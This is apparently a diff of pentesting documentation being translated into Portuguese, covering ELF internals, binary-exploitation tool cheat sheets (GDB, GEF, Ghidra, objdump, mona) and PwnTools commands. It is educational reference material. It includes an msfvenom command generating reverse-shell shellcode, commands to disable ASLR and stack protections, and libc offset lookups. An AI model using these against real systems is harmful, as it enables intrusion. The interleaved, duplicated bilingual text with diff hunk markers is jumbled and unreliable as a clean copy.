16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
Também indica a localização, deslocamento, permissões, mas também o **tipo de dado** que a seção possui.
It also indicates the location, offset, permissions but also the **type of data** it section has.
### Seções Meta
### Meta Sections
- **Tabela de strings**: Contém todas as strings necessárias pelo arquivo ELF (mas não as realmente usadas pelo programa). Por exemplo, contém nomes de seções como `.text` ou `.data`. E se `.text` está no deslocamento 45 na tabela de strings, usará o número **45** no campo **nome**.
- Para encontrar onde está a tabela de strings, o ELF contém um ponteiro para a tabela de strings.
- **Tabela de símbolos**: Contém informações sobre os símbolos, como o nome (deslocamento na tabela de strings), endereço, tamanho e mais metadados sobre o símbolo.
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### Seções Principais
### Main Sections
- **`.text`**: As instruções do programa a serem executadas.
- **`.data`**: Variáveis globais com um valor definido no programa.
- **`.bss`**: Variáveis globais não inicializadas (ou inicializadas para zero). Variáveis aqui são automaticamente inicializadas para zero, evitando assim que zeros desnecessários sejam adicionados ao binário.
- **`.rodata`**: Variáveis globais constantes (seção somente leitura).
- **`.tdata`** e **`.tbss`**: Semelhante ao .data e .bss quando variáveis locais de thread são usadas (`__thread_local` em C++ ou `__thread` em C).
- **`.dynamic`**: Veja abaixo.
- **`.text`**: The instruction of the program to run.
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
## Símbolos
Símbolos são uma localização nomeada no programa que pode ser uma função, um objeto de dados global, variáveis locais de thread...
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Cada entrada de símbolo contém:
Each symbol entry contains:
- **Name**
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
- **Section** index where it's located
- **Value** (address sin memory)
- **Size**
## Dynamic Section
- **Nome**
- **Atributos de vinculação** (fraco, local ou global): Um símbolo local só pode ser acessado pelo próprio programa, enquanto os símbolos globais são compartilhados fora do programa. Um objeto fraco é, por exemplo, uma função que pode ser substituída por outra diferente.
- **Tipo**: NOTYPE (nenhum tipo especificado), OBJECT (variável de dados global), FUNC (função), SECTION (seção), FILE (arquivo de código-fonte para depuradores), TLS (variável local de thread), GNU_IFUNC (função indireta para realocação)
- **Índice da Seção** onde está localizado
- **Valor** (endereço na memória)
- **Tamanho**
## Seção Dinâmica
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
O diretório NEEDED indica que o programa **precisa carregar a biblioteca mencionada** para continuar. O diretório NEEDED é completado uma vez que a **biblioteca compartilhada está totalmente operacional e pronta** para uso.
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
## Relocações
O carregador também deve realocar dependências após tê-las carregado. Essas realocações são indicadas na tabela de realocação nos formatos REL ou RELA e o número de realocações é dado nas seções dinâmicas RELSZ ou RELASZ.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Relocações Estáticas
### Static Relocations
Se o **programa for carregado em um lugar diferente** do endereço preferido (geralmente 0x400000) porque o endereço já está em uso ou por causa de **ASLR** ou qualquer outro motivo, uma relocação estática **corrige ponteiros** que tinham valores esperando que o binário fosse carregado no endereço preferido.
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
Por exemplo, qualquer seção do tipo `R_AARCH64_RELATIV` deve ter modificado o endereço no viés de relocação mais o valor do adendo.
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
### Relocações Dinâmicas e GOT
### Dynamic Relocations and GOT
A relocação também pode referenciar um símbolo externo (como uma função de uma dependência). Como a função malloc da libC. Então, o carregador ao carregar a libC em um endereço verificando onde a função malloc está carregada, escreverá esse endereço na tabela GOT (Global Offset Table) (indicado na tabela de relocação) onde o endereço de malloc deve ser especificado.
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
### Tabela de Ligação de Procedimentos
### Procedure Linkage Table
A seção PLT permite realizar vinculação preguiçosa, o que significa que a resolução da localização de uma função será realizada na primeira vez que for acessada.
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
Assim, quando um programa chama malloc, na verdade chama a localização correspondente de `malloc` na PLT (`malloc@plt`). Na primeira vez que é chamada, resolve o endereço de `malloc` e o armazena para que na próxima vez que `malloc` for chamada, esse endereço seja usado em vez do código PLT.
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
## Inicialização do Programa
Depois que o programa foi carregado, é hora de ele ser executado. No entanto, o primeiro código que é executado **não é sempre a função `main`**. Isso ocorre porque, por exemplo, em C++, se uma **variável global é um objeto de uma classe**, esse objeto deve ser **inicializado** **antes** que a main seja executada, como em:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
printf("Main\n");
return 0;
}
```
Observe que essas variáveis globais estão localizadas em `.data` ou `.bss`, mas nas listas `__CTOR_LIST__` e `__DTOR_LIST__`, os objetos a serem inicializados e destruídos são armazenados para manter o controle deles.
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
From C code it's possible to obtain the same result using the GNU extensions :
A partir do código C, é possível obter o mesmo resultado usando as extensões GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
Do ponto de vista de um compilador, para executar essas ações antes e depois da função `main`, é possível criar uma função `init` e uma função `fini`, que seriam referenciadas na seção dinâmica como **`INIT`** e **`FIN`**. e são colocadas nas seções `init` e `fini` do ELF.
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
A outra opção, como mencionado, é referenciar as listas **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nas entradas **`INIT_ARRAY`** e **`FINI_ARRAY`** na seção dinâmica, e o comprimento dessas é indicado por **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Cada entrada é um ponteiro de função que será chamado sem argumentos.
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** que serão executados **antes** dos ponteiros **`INIT_ARRAY`**.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
### Ordem de Inicialização
### Initialization Order
1. O programa é carregado na memória, variáveis globais estáticas são inicializadas em **`.data`** e as não inicializadas são zeradas em **`.bss`**.
2. Todas as **dependências** para o programa ou bibliotecas são **inicializadas** e o **link dinâmico** é executado.
3. Funções **`PREINIT_ARRAY`** são executadas.
4. Funções **`INIT_ARRAY`** são executadas.
5. Se houver uma entrada **`INIT`**, ela é chamada.
6. Se for uma biblioteca, dlopen termina aqui; se for um programa, é hora de chamar o **ponto de entrada real** (função `main`).
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
## Armazenamento Local de Thread (TLS)
## Thread-Local Storage (TLS)
Eles são definidos usando a palavra-chave **`__thread_local`** em C++ ou a extensão GNU **`__thread`**.
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
Cada thread manterá uma localização única para essa variável, de modo que apenas a thread pode acessar sua variável.
Each thread will maintain a unique location for this variable so only the thread can access its variable.
Quando isso é usado, as seções **`.tdata`** e **`.tbss`** são usadas no ELF. Que são como `.data` (inicializado) e `.bss` (não inicializado), mas para TLS.
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
Cada variável terá uma entrada no cabeçalho TLS especificando o tamanho e o deslocamento TLS, que é o deslocamento que será usado na área de dados local da thread.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de thread e aponta para a área na memória que contém todos os dados locais de thread de um módulo.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# Exploiting Tools
# Ferramentas de Exploração
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Install
### Instalar
```bash
apt-get install gdb
```
### Parameters
### Parâmetros
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instructions
### Instruções
```bash
run # Execute
start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
Você pode opcionalmente usar [**este fork do GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) que contém instruções mais interessantes.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Truques
### Tricks
#### Endereços iguais no GDB
#### GDB same addresses
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
Ao depurar, o GDB terá **endereços ligeiramente diferentes dos usados pelo binário quando executado.** Você pode fazer com que o GDB tenha os mesmos endereços fazendo:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_
- Exploit the binary using the same absolute route
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
- `set env _=<path>` _Coloque o caminho absoluto para o binário_
- Exploit o binário usando a mesma rota absoluta
- `PWD` e `OLDPWD` devem ser os mesmos ao usar o GDB e ao explorar o binário
#### Backtrace to find functions called
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
#### Backtrace para encontrar funções chamadas
Quando você tem um **binário vinculado estaticamente**, todas as funções pertencerão ao binário (e não a bibliotecas externas). Nesse caso, será difícil **identificar o fluxo que o binário segue para, por exemplo, solicitar entrada do usuário.**\
Você pode identificar facilmente esse fluxo **executando** o binário com **gdb** até que seja solicitado a entrada. Em seguida, pare-o com **CTRL+C** e use o comando **`bt`** (**backtrace**) para ver as funções chamadas:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### Servidor GDB
### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
`gdbserver --multi 0.0.0.0:23947` (no IDA você deve preencher o caminho absoluto do executável na máquina Linux e na máquina Windows)
## Ghidra
### Find stack offset
### Encontrar offset da pilha
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
**Ghidra** é muito útil para encontrar o **offset** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\
Por exemplo, no exemplo abaixo, um buffer flow em `local_bc` indica que você precisa de um offset de `0xbc`. Além disso, se `local_10` for um canary cookie, isso indica que para sobrescrevê-lo a partir de `local_bc` há um offset de `0xac`.\
&#xNAN;_&#x52;emember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._
![](<../../../images/image (1061).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
Obtenha todos os opcodes executados no programa.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
&#xNAN;**-o** --> Output\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile sem proteções\
&#xNAN;**-o** --> Saída\
&#xNAN;**-g** --> Salvar código (GDB poderá vê-lo)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desativar o ASLR no linux
**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable
**Para compilar um shellcode:**\
**nasm -f elf assembly.asm** --> retorna um ".o"\
**ld assembly.o -o shellcodeout** --> Executável
## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
&#xNAN;**-Mintel** --> **Intel** syntax\
&#xNAN;**-t** --> **Symbols** table\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
&#xNAN;**-s -j .dtors** --> dtors section\
&#xNAN;**-s -j .got** --> got section\
-D -s -j .plt --> **plt** section **decompiled**\
&#xNAN;**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
**-d** --> **Desmontar** seções executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\
&#xNAN;**-Mintel** --> Sintaxe **Intel**\
&#xNAN;**-t** --> Tabela de **Símbolos**\
&#xNAN;**-D** --> **Desmontar tudo** (endereço de variável estática)\
&#xNAN;**-s -j .dtors** --> seção dtors\
&#xNAN;**-s -j .got** --> seção got\
-D -s -j .plt --> seção **plt** **decompilada**\
&#xNAN;**-TR** --> **Relocações**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Endereço de "puts" para modificar no GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Endereço ou uma variável estática (essas são armazenadas na seção DATA).
## Core dumps
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
1. Execute `ulimit -c unlimited` antes de iniciar meu programa
2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## More
## Mais
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
**ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop para ver se o endereço muda muito\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh"
**strace executable** --> Functions called by the executable\
**rabin2 -i ejecutable -->** Address of all the functions
**strace executable** --> Funções chamadas pelo executável\
**rabin2 -i ejecutable -->** Endereço de todas as funções
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
### Depuração em linux remoto
Dentro da pasta IDA, você pode encontrar binários que podem ser usados para depurar um binário dentro de um linux. Para fazer isso, mova o binário `linux_server` ou `linux_server64` para dentro do servidor linux e execute-o dentro da pasta que contém o binário:
```
./linux_server64 -Ppass
```
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
Em seguida, configure o depurador: Debugger (linux remote) --> Proccess options...:
![](<../../../images/image (858).png>)

View File

@ -1,120 +1,100 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
## Pwn asm
Get **opcodes** from line or file.
Obtenha **opcodes** de linha ou arquivo.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Pode selecionar:**
**Can select:**
- tipo de saída (raw, hex, string, elf)
- contexto do arquivo de saída (16, 32, 64, linux, windows...)
- evitar bytes (novas linhas, nulo, uma lista)
- selecionar codificador de shellcode de depuração usando gdb para executar a saída
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
## **Pwn checksec**
Checksec script
## **Verificação de Pwn**
Script de checksec
```
pwn checksec <executable>
```
## Pwn constgrep
## Pwn cyclic
Get a pattern
Obtenha um padrão
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Pode selecionar:**
**Can select:**
- The used alphabet (lowercase chars by default)
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
- O alfabeto usado (caracteres minúsculos por padrão)
- Comprimento do padrão único (padrão 4)
- contexto (16,32,64,linux,windows...)
- Pegue o deslocamento (-l)
## Pwn debug
Attach GDB to a process
Anexe o GDB a um processo
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Pode selecionar:**
**Can select:**
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- Por executável, por nome ou por contexto de pid (16,32,64,linux,windows...)
- gdbscript para executar
- sysrootpath
## Pwn disablenx
Disable nx of a binary
Desativar nx de um binário
```
pwn disablenx <filepath>
```
## Pwn disasm
Disas hex opcodes
Desassemble opcodes hex
```
pwn disasm ffe4
```
**Pode selecionar:**
**Can select:**
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
- contexto (16,32,64,linux,windows...)
- endereço base
- cor(padrão)/sem cor
## Pwn elfdiff
Print differences between 2 files
Imprime as diferenças entre 2 arquivos
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
Get hexadecimal representation
Obter representação hexadecimal
```bash
pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
Get hexdump
Obter hexdump
```
pwn phd <file>
```
**Pode selecionar:**
**Can select:**
- Number of bytes to show
- Number of bytes per line highlight byte
- Skip bytes at beginning
- Número de bytes a mostrar
- Número de bytes por linha para destacar byte
- Ignorar bytes no início
